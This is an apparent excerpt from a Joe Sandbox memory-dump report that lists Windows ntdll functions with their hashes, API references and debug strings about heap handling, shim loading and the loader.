Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1c6b06f0f3a958fc2747e1b968408ed611561b9bb3b118b54b121f74540d7d
Instruction ID: 7639b6cef328b77538868fe2235144c85f3c560a557cf4a97df517a1ccac58aa
Opcode Fuzzy Hash: 5e1c6b06f0f3a958fc2747e1b968408ed611561b9bb3b118b54b121f74540d7d
Instruction Fuzzy Hash: 8290027174954842D24071988404E46001647D0305F55C012A5064768D96258E59B661

Function 36D92B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ec20be5f4017cf91f54c6aaaa07632859088a7c3a23c46f3bae29bd0fb4a47
Instruction ID: 4e93b20f9d959bb47e28155ff78c991799dea305259ac0b2d86971bcc85c29e4
Opcode Fuzzy Hash: e7ec20be5f4017cf91f54c6aaaa07632859088a7c3a23c46f3bae29bd0fb4a47
Instruction Fuzzy Hash: 8390027174550802D20471988804A86000647D0301F55C012AB024729E966589957131

Function 36D92BA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc826776cc8c73fc8f7403d04f8b90db12b0376960de6927b40d600b88786cf
Instruction ID: 115093cc4949c1663ea4bf42170edc9bf7ad82031782aace0a58655217960fa2
Opcode Fuzzy Hash: 5fc826776cc8c73fc8f7403d04f8b90db12b0376960de6927b40d600b88786cf
Instruction Fuzzy Hash: C4900271B4950802D25071988414B46000647D0301F55C012A5024728D87558B5976A1

Function 36D92B60 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99a6482b731d8026cb2188819ba273a51b068760698ee47605588f9f10fe0b78
Instruction ID: 248765e2f3022828370d6404303e8d139241765f22e34daaa033414edb67a3e0
Opcode Fuzzy Hash: 99a6482b731d8026cb2188819ba273a51b068760698ee47605588f9f10fe0b78
Instruction Fuzzy Hash: 1A9002A174650003420571988414A16400B47E0201B55C022E6014664DC52589956125

Function 36D92C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 6fd3fe4ed2ba15a6131460cf868b28615cbda51d510321297f7886e78ace87de
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 36D92890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___swprintf_l.LIBCMT ref: 36D9293C
___swprintf_l.LIBCMT ref: 36D9295E
___swprintf_l.LIBCMT ref: 36D929A3
___swprintf_l.LIBCMT ref: 36DCA52E

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 36DCA54E
::%hs%u.%u.%u.%u, xrefs: 36DCA527
ffff:, xrefs: 36DCA504
:%u.%u.%u.%u, xrefs: 36DCA5B8

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 693e321c07683bd724ada34695f8f164e2880360429f86ed1d9cee4695f87a78
Instruction ID: c306d23a4ebfbe0e93405010f4da7451870f36a6ca2fee519b484190ce3c541b
Opcode Fuzzy Hash: 693e321c07683bd724ada34695f8f164e2880360429f86ed1d9cee4695f87a78
Instruction Fuzzy Hash: 5C51F5B5E24216BEEB50DF99CC809BEFBF8BB08244754C269E4A4D3641D634DE04CBE4

Function 36E02410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___swprintf_l.LIBCMT ref: 36E024A6
___swprintf_l.LIBCMT ref: 36E024E2
___swprintf_l.LIBCMT ref: 36E0257D
___swprintf_l.LIBCMT ref: 36E025A3
___swprintf_l.LIBCMT ref: 36E025C8
___swprintf_l.LIBCMT ref: 36E02608

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 36E024DA
ffff:, xrefs: 36E0247D, 36E0249D
::%hs%u.%u.%u.%u, xrefs: 36E0249E
:%u.%u.%u.%u, xrefs: 36E025FF

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 1299d1b0abe5e6765acaae19146a266e1054873fa348fd2d3137a91461fbf6c4
Instruction ID: 5e892e7fea04ababc6e0fb2d6b5f787de2c6abe350e8dbf76af40d3d3420756d
Opcode Fuzzy Hash: 1299d1b0abe5e6765acaae19146a266e1054873fa348fd2d3137a91461fbf6c4
Instruction Fuzzy Hash: A0513879E00745AEEB20DF5ECC8087FBBF8EB44248B50845AE4D5C3685DA74DA08CF65

Function 36E2A670 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 36E2A6DD
RtlDebugPrintTimes.NTDLL ref: 36E2A771
RtlDebugPrintTimes.NTDLL ref: 36E2A794
RtlDebugPrintTimes.NTDLL ref: 36E2A7C0
RtlDebugPrintTimes.NTDLL ref: 36E2A895
RtlDebugPrintTimes.NTDLL ref: 36E2A8E8
RtlDebugPrintTimes.NTDLL ref: 36E2A907
RtlDebugPrintTimes.NTDLL ref: 36E2A938

Strings

HEAP: , xrefs: 36E2A686

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: 25ea101739cacb74cb723eb9b9ea0bb0990a5eeee519a2f7e4ff3520d0e36815
Instruction ID: 250d915cd5cf80587f01ad9d8676189ae46b0764f899a8c2dbaea6be55c29f34
Opcode Fuzzy Hash: 25ea101739cacb74cb723eb9b9ea0bb0990a5eeee519a2f7e4ff3520d0e36815
Instruction Fuzzy Hash: 2CA1DF75A043128FE708DF29C894A1AB7E6FF88354F19456DE945DB350EBB0EC0ACB91

Function 36D87630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 36DC4742
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 36DC4725
CLIENT(ntdll): Processing section info %ws..., xrefs: 36DC4787
Execute=1, xrefs: 36DC4713
ExecuteOptions, xrefs: 36DC46A0
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 36DC4655
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 36DC46FC

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: cdf603a210481016bb8b278f7a993e0ace6554b337dc7cc2c6956371b5fc8bf8
Instruction ID: 781bc76d07edcdcf1f582f9ef3c78756d7dd2df35a6ca96721b972b63f687135
Opcode Fuzzy Hash: cdf603a210481016bb8b278f7a993e0ace6554b337dc7cc2c6956371b5fc8bf8
Instruction Fuzzy Hash: 57511675E00229BAEB109BA5DC9DFEE7BB8EF44344F5400A9D505AB180EB709A45CFA1

Function 36D6A250 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON

Download Yara Rule

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 36DB79FA
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 36DB79D5
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 36DB7AE6
RtlpFindActivationContextSection_CheckParameters, xrefs: 36DB79D0, 36DB79F5
Actx , xrefs: 36DB7A0C, 36DB7A73
SsHd, xrefs: 36D6A3E4

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: d8db947e479ec80ce24254e74fb7f8942329f951b825ff7eb8663359aef6e2b0
Instruction ID: 5f250435902a5300cc4c1adf9f9a888f6f32a2decf187af3ae937023c23650fc
Opcode Fuzzy Hash: d8db947e479ec80ce24254e74fb7f8942329f951b825ff7eb8663359aef6e2b0
Instruction Fuzzy Hash: 7CE1A374B043018FE714CF66C894B5AB7E1BB8835CF98462DE8D68B290DBB1E945CB91

Function 36D6D770 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DB948C

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 36DB936B
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 36DB9346
RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 36DB9565
RtlpFindActivationContextSection_CheckParameters, xrefs: 36DB9341, 36DB9366
Actx , xrefs: 36DB9508
GsHd, xrefs: 36D6D874

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: 276ffd0fa8cac2f7573df99e1f1d955ec9c386cbde018f7a0be84463975993fa
Instruction ID: 723ccd52425edf390f2d9635435b4f08e15b6068ab2420ffc2305f8ab98c5068
Opcode Fuzzy Hash: 276ffd0fa8cac2f7573df99e1f1d955ec9c386cbde018f7a0be84463975993fa
Instruction Fuzzy Hash: 10E1E574A043418FEB10CF26C890B5AB7F4BF8935CF94492EE896DB299C771D844CB92

Function 36D4645D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D4656C

Part of subcall function 36D465B5: RtlDebugPrintTimes.NTDLL ref: 36D46664
Part of subcall function 36D465B5: RtlDebugPrintTimes.NTDLL ref: 36D466AF

Strings

LdrpInitShimEngine, xrefs: 36DA99F4, 36DA9A07, 36DA9A30
minkernel\ntdll\ldrinit.c, xrefs: 36DA9A11, 36DA9A3A
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 36DA99ED
Getting the shim engine exports failed with status 0x%08lx, xrefs: 36DA9A01
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 36DA9A2A
apphelp.dll, xrefs: 36D46496

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: bb30c4f7aa16bab1dda22d8991e7460f298a4cb57db32d53c09d66ab7215498c
Instruction ID: 4e56edbdf32ae814e181b05bec95e55edfc444350b02fa0634f1dd6583abcffd
Opcode Fuzzy Hash: bb30c4f7aa16bab1dda22d8991e7460f298a4cb57db32d53c09d66ab7215498c
Instruction Fuzzy Hash: 3C519E71A19344EFE311DF25CC40E5B77E5EB84648F50491AF596AB1A0DA30DD09CBA3

Function 36DCFD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DCFE73
RtlDebugPrintTimes.NTDLL ref: 36DCFE95

Strings

LdrpRedirectDelayloadFailure, xrefs: 36DCFDDE
Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx, xrefs: 36DCFDD8
minkernel\ntdll\ldrdload.c, xrefs: 36DCFDE8
$, xrefs: 36DCFE3D
Unknown, xrefs: 36DCFDC2, 36DCFDD4

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
API String ID: 3446177414-4227709934
Opcode ID: bf01e085fddb3a232fcb4b5e8fc8183006f70fd8e3358da254d96daba867378f
Instruction ID: 49377f83d96498aa0d30f1ac2d91960bdcf35b548e44e093145f58b4e0ec93e6
Opcode Fuzzy Hash: bf01e085fddb3a232fcb4b5e8fc8183006f70fd8e3358da254d96daba867378f
Instruction Fuzzy Hash: BD415FB9E0120DABDB01DFAAC980ADEBBB9FF48354F114159E904BB345D731D915CBA0

Function 36DFFD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DFFDAE

Strings

About to free block at %p with tag %ws, xrefs: 36DFFF7E
RtlFreeHeap, xrefs: 36DFFDC8, 36DFFE32
About to free block at %p, xrefs: 36DFFE8A
HEAP[%wZ]: , xrefs: 36DFFE6C, 36DFFF57
HEAP: , xrefs: 36DFFE79, 36DFFF64

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
API String ID: 3446177414-3492000579
Opcode ID: feed57dbac3dad4e0aa5bd2fd48d8b021cbda8bcaad1c7094455b10993cc7361
Instruction ID: 7aea8bfe0e248cc972f664bb37e4cc07a5c803f1942e8388a24af43e417ef9cf
Opcode Fuzzy Hash: feed57dbac3dad4e0aa5bd2fd48d8b021cbda8bcaad1c7094455b10993cc7361
Instruction Fuzzy Hash: 6F712271A25244EFDB02DFA9C8406ADFBF2FF49304F458049E544AF691CB36994ACFA0

Function 36D465B5 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D46664
RtlDebugPrintTimes.NTDLL ref: 36D466AF

Strings

minkernel\ntdll\ldrinit.c, xrefs: 36DA9AC5, 36DA9B06
Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 36DA9AF6
LdrpLoadShimEngine, xrefs: 36DA9ABB, 36DA9AFC
Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 36DA9AB4

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: 94241924372233fb8cb26e75e23d99c699a8e1b1b1e745888c8c6d4831dd1082
Instruction ID: 271052b469bba1ec422757d7588b89028209b8bbe0535177f86918f85a13a4af
Opcode Fuzzy Hash: 94241924372233fb8cb26e75e23d99c699a8e1b1b1e745888c8c6d4831dd1082
Instruction Fuzzy Hash: 8A512332E153989FDB06EF79CC48A9D7BB2AB40304F100165E652BF285CB649C5ACBA1

Function 36D79803 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 179timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D79A02

Strings

@36, xrefs: 36D79912
LdrpUnloadNode, xrefs: 36DBDCEB
Unmapping DLL "%wZ", xrefs: 36DBDCE4
minkernel\ntdll\ldrsnap.c, xrefs: 36DBDCF5
df6@36@36, xrefs: 36D7998D

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: @36$LdrpUnloadNode$Unmapping DLL "%wZ"$df6@36@36$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-1025258580
Opcode ID: 51810eff3827133ea074061a15cc34f27f56a6e888a11c1bffca12befe873bd0
Instruction ID: 95394d4f2044d42f8568e26cf463ed9cf6cc17634b4d4454526f3a5db190ff5a
Opcode Fuzzy Hash: 51810eff3827133ea074061a15cc34f27f56a6e888a11c1bffca12befe873bd0
Instruction Fuzzy Hash: 6B513772A043029FE715DF35CC84B19BBA1BF94318F54066DE5969F294DB34E805CBA3

Function 36D7DB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DBF611

Strings

, passed to %s, xrefs: 36DBF662
Invalid heap signature for heap at %p, xrefs: 36DBF653
RtlUnlockHeap, xrefs: 36DBF65D
HEAP[%wZ]: , xrefs: 36DBF63A
HEAP: , xrefs: 36DBF647

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 3446177414-3224558752
Opcode ID: 7ea4361ab83214351ae6196d448c9c3694b8693759c48291e8bc06994e38ae92
Instruction ID: 2b43a872a8cf7f3ea1d797a4cfd7351c8fb0e7411b80def82f9c15a2342701fc
Opcode Fuzzy Hash: 7ea4361ab83214351ae6196d448c9c3694b8693759c48291e8bc06994e38ae92
Instruction Fuzzy Hash: E9413875E10750EFEB12CF74C884B59B7B4EF45368F108169D8465B694CB38A885CBE2

Function 36D7DBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DBF757

Strings

, passed to %s, xrefs: 36DBF7A8
Invalid heap signature for heap at %p, xrefs: 36DBF799
HEAP[%wZ]: , xrefs: 36DBF780
HEAP: , xrefs: 36DBF78D
RtlLockHeap, xrefs: 36DBF7A3

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: e223e39aefad7073db3a532857dabb0c0b9ec55e8f5ce1c2a3e8d2999bc0903f
Instruction ID: 998a21b017a41013d2db49a61f3a3c64ca3ec9267528e86f8ba4b3edd62d5b91
Opcode Fuzzy Hash: e223e39aefad7073db3a532857dabb0c0b9ec55e8f5ce1c2a3e8d2999bc0903f
Instruction Fuzzy Hash: 8D312535915780EFEB22DB64C808F467BF8EF11754F044084E4425BA95CBB8E889CAA3

Function 36E26940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction ID: 7f1bc733c1f47465e1c0e669870ef44dd65e63108c3d2038d95ae9ca7d724f91
Opcode Fuzzy Hash: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction Fuzzy Hash: 940226B5508341AFD705DF29C890A6BBBF6EFC8744F508A2DF9884B254DB31E909CB52

Function 36D9B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

